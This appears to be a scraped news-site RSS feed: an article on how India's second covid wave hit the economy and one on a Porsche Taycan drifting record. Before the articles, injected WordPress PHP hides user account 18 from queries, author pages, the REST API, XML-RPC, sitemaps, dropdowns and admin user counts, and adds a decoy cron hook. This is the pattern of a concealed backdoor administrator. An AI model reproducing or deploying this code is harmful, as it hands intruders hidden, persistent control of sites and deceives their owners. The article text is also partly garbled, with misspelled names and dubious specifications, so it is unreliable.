add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Why is the second wave of covid shaking the country’s economy so much? appeared first on The Edge Media.
]]>
There are solid reasons behind his saying, the entire country has gone through a lot of difficulties and challenges due to the covid infection in the thirteen months of March 2020 to April 2021.
After the lockdown, efforts were made to bring the country’s economy back on track by starting the process of unlocking.
Until last month, it seemed that the economy of India was devastated by the epidemic. In view of this recovery, several international rating agencies and the International Monetary Fund (IMF) had predicted India’s growth rate to grow between 10 and 13 percent in FY 2021-22.
But not only has this recovery been braided due to the second horrific wave of corona virus in April, but the boom in the last six months seems to be moving.
The rating agencies have reduced India’s growth rate by two percent, making changes in their forecasts.
Now, with the state governments making announcements of new restrictions almost daily, there are bound to be obstacles in the development of the economy.
Unemployment is increasing, there are full signs of rising inflation and migration of workers from big cities has also started.
According to Finance Ministry sources, the central government is taking a deep review of the economic situation.
The government has come to the conclusion that the lockdown will not be imposed across the country like last year and there is no such plan this time in the way that large economic packages were given in 2020. Help will be given, but it will be according to the need.
The post Why is the second wave of covid shaking the country’s economy so much? appeared first on The Edge Media.
]]>The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]> To make this record, the car was drifted continuously for 55 minutes at a speed of 46 km / h. The car kept drifting non-stop, so water was constantly being sprayed in the circular ground. The drift was completed in 210 laps.
Note that the Porsche Tycan Electric has the Vehicle Stability feature, which makes it difficult to drift. However, once this feature is turned off, the car can be drifted. This car has a longer wheel base, so its stability is much better
Porsche Tycan Electric was launched in 2019. It is a four-seater sedan car with many modern features. This car is quite modern in terms of connectivity and safety features. The company has used state-of-the-art technology to produce this car.
Porsche Tychon has made many records in the past, including a record of traveling 3,425 kilometers in 24 hours. This car can accelerate from 0-100 km / h in just 3.2 seconds.
This car has a 500 kW battery which provides 680 bhp power. This car can run at a speed of 260 kilometers per hour. The car has many features like connectivity, climate control and fast charging.
The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]>